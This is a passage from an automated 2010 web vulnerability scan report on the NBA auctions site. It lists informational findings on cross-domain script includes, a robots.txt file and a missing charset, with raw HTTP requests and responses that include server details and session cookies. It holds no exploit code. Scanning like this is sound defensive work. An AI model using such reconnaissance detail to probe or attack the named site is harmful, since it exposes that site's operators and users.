<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=1 border=0></td>
   <td width=152><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0><br>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=1 border=0></td>
   <td width=152><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0><br>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=1 border=0></td>
   <td width=152><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0><br>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=1 border=0></td>
   <td width=152><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0><br>
...[SNIP]...
</tr>
       

                                                                                                   <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/item.js"></script>                        

   
                   <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/itemtypes.js"></script>
       <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/feature_sect.js"></script>
...[SNIP]...
<td colspan=2><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=18 border=0></td>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=16 border=0></td>
...[SNIP]...
<td colspan=2><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0></td>
...[SNIP]...
<td width=8><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=8 height=1 border=0></TD>
...[SNIP]...
<td width=8><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=8 height=1 border=0></TD>
...[SNIP]...
<td width=8><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=8 height=1 border=0></TD>
...[SNIP]...
<td colspan=2><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=18 border=0></td>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=16 border=0></td>
...[SNIP]...
<td colspan=2><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0></td>
...[SNIP]...
<td><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=8 height=1 border=0></TD>
...[SNIP]...
<A CLASS=NAV HREF="/cgi-bin/ncommerce3/User?id=meinba&wl=51136034&type=L">
   <img src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/img/logos/meinba.GIF" border="0" alt="The MeiGray Group" align=absmiddle><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=3 height=1 border=0><b>
...[SNIP]...
</a><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=15 height=1 border=0></td>
...[SNIP]...
<TD colspan=2><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=1 height=6 border=0></TD>
...[SNIP]...
</tr>
   
   
               <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/feature_extra.js"></script>
...[SNIP]...
<td colspan=2><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=30 border=0></td>
...[SNIP]...
<td colspan=2 ALIGN=CENTER><A HREF="http://www.nbaauthenticated.com"><IMG SRC="http://pics1.edeal.com/images/p2/wl/auct_nba/site/img/authentication_logo.gif" BORDER=0></A>
...[SNIP]...
<td bgcolor=#B6CBE2><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=1 border=0></td>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/auct_nba/nbaBanners/auction_hdr_clippers_v01.jpg" alt="" border="0"></td>
...[SNIP]...
<td BGCOLOR="#3470A6" class=wht_12 ALIGN=CENTER><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=4 height=1 border=0><b>
...[SNIP]...
<td BGCOLOR="#3470A6" class=wht_12 ALIGN=CENTER><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=4 height=1 border=0><b>
...[SNIP]...
<td><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=1 height=10 border=0></td>
...[SNIP]...
<td><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=1 height=14 border=0></td>
...[SNIP]...
</TABLE>


<script src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/showItems.js"></script>
...[SNIP]...
<!-- start footer -->

<img src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/img/nbaFooter.jpg" height="22" border="0" width="800" usemap="#nba-footer">
<map id="nba-footer" name="nba-footer">
<area shape="rect"#NBA Store coords="8,4,63,16" href="http://www.nbastore.com/entry.point?target=z&source=NBAAUCTIONS_NBASTORE_FOOTER" title="NBA Store">
<area shape="rect"#D-League Store coords="85,3,163,17" href="http://www.nbastore.com/entry.point?entry=2829922&league=dleague&source=NBAAUCTIONS_DLEAGUESTORE_FOOTER" title="D-League">
<area shape="rect"#WNBA Store coords="186,3,249,18" href="http://www.nbastore.com/entry.point?entry=1398478&league=wnba&source=NBAAUCTIONS_WNBASTORE_FOOTER" title="WNBA store">
<area shape="rect"#Tickets coords="270,4,312,17" href="http://www.nba.com/tickets/tickets.html" title="Tickets">
...[SNIP]...

6. Cross-domain script include  previous  next
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


6.1. http://auctions.nba.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://auctions.nba.com
Path:   /

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET / HTTP/1.1
Host: auctions.nba.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200
Connection: close
Date: Mon, 08 Nov 2010 00:31:03 GMT
Server: Microsoft-IIS/6.0
Content-type: text/html
Set-cookie: TRUID=-1; path=/;
Set-cookie: SESSION_ID=-1,ceWj4vHmggM0P+5m0PkYbIFEuUnEs5JDQs3S0RHmIUSmync8XGeuMw==; path=/;


                                       <HTML>
<HEAD>

<TITLE>NBA Auctions</TITLE>

<!-- text3 -->
<!-- text4 -->
<!-- text5 -->
<!-- text6 -->
<!-- text7 -->
<!-- text8 -->
<!-- text 9
...[SNIP]...
XT="black" marginheight = "0" marginwidth = "0" topmargin = "0" leftmargin = "0">


                                                                                                                                                           <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/makeCatCat.js"></script>
       <link rel="STYLESHEET" type="text/css" href="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/nba_newLook.css">
       
       <SCRIPT LANGUAGE=JAVASCRIPT SRC="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/winPopup.js" TYPE=TEXT/JAVASCRIPT></SCRIPT>
...[SNIP]...
</script>
       <script language="JavaScript1.1" type="text/JavaScript" src="//stats.surfaid.ihost.com/sacdcv3_nbapix_nba.js"></script>
...[SNIP]...
</tr>
       

                                                                                                   <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/item.js"></script>                        

   
                   <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/itemtypes.js"></script>
       <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/feature_sect.js"></script>
...[SNIP]...
</tr>
   
   
               <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/feature_extra.js"></script>
...[SNIP]...

6.2. http://auctions.nba.com/cgi-bin/ncommerce3/User  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://auctions.nba.com
Path:   /cgi-bin/ncommerce3/User

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /cgi-bin/ncommerce3/User?id=clinba&wl=51136034&type=L HTTP/1.1
Host: auctions.nba.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200
Connection: close
Date: Mon, 08 Nov 2010 00:31:02 GMT
Server: Microsoft-IIS/6.0
Content-type: text/html
Set-cookie: TRUID=-1; path=/;
Set-cookie: SESSION_ID=-1,ceWj4vHmggM0P+5m0PkYbIFEuUnEs5JDQs3S0RHmIUSmync8XGeuMw==; path=/;


<!--


-->


<HTML>


                                   
...[SNIP]...
lack" marginheight = "0" marginwidth = "0" topmargin = "0" leftmargin = "0">


                                                                                                                                                                           <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/makeCatCat.js"></script>
       <link rel="STYLESHEET" type="text/css" href="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/nba_newLook.css">
       
       <SCRIPT LANGUAGE=JAVASCRIPT SRC="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/winPopup.js" TYPE=TEXT/JAVASCRIPT></SCRIPT>
...[SNIP]...
</script>
       <script language="JavaScript1.1" type="text/JavaScript" src="//stats.surfaid.ihost.com/sacdcv3_nbapix_nba.js"></script>
...[SNIP]...
</tr>
       

                                                                                                   <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/item.js"></script>                        

   
                   <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/itemtypes.js"></script>
       <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/feature_sect.js"></script>
...[SNIP]...
</tr>
   
   
               <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/feature_extra.js"></script>
...[SNIP]...
</TABLE>


<script src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/showItems.js"></script>
...[SNIP]...

7. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://auctions.nba.com
Path:   /cgi-bin/ncommerce3/User

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: auctions.nba.com

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 08 Nov 2010 00:31:01 GMT
Server: Microsoft-IIS/6.0
Content-type: text/plain
Last-modified: Mon, 03 May 2010 12:31:34 GMT
Content-length: 44
Accept-ranges: bytes

# all allowed
User-agent: *
Disallow:


8. HTML does not specify charset  previous
There are 2 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.


8.1. http://auctions.nba.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://auctions.nba.com
Path:   /

Request

GET / HTTP/1.1
Host: auctions.nba.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200
Connection: close
Date: Mon, 08 Nov 2010 00:31:03 GMT
Server: Microsoft-IIS/6.0
Content-type: text/html
Set-cookie: TRUID=-1; path=/;
Set-cookie: SESSION_ID=-1,ceWj4vHmggM0P+5m0PkYbIFEuUnEs5JDQs3S0RHmIUSmync8XGeuMw==; path=/;


                                       <HTML>
<HEAD>

<TITLE>NBA Auctions</TITLE>

<!-- text3 -->
<!-- text4 -->
<!-- text5 -->
<!-- text6 -->
<!-- text7 -->
<!-- text8 -->
<!-- text 9
...[SNIP]...

8.2. http://auctions.nba.com/cgi-bin/ncommerce3/User  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://auctions.nba.com
Path:   /cgi-bin/ncommerce3/User

Request

GET /cgi-bin/ncommerce3/User HTTP/1.1
Host: auctions.nba.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200
Connection: close
Date: Mon, 08 Nov 2010 00:31:00 GMT
Server: Microsoft-IIS/6.0
Content-type: text/html
Set-cookie: TRUID=-1; path=/; domain=.edeal.com;
Set-cookie: SESSION_ID=-1,ceWj4vHmggM0P+5m0PkYbIFEuUnEs5JDQs3S0RHmIUSmync8XGeuMw==; path=/; domain=.edeal.com;


<!--


-->


<HTML>


<HEAD>
<TITLE>edeal - Listings for </TITLE>
</HEAD>


...[SNIP]...

Report generated by XSS.CX at Mon Nov 08 09:21:31 CST 2010.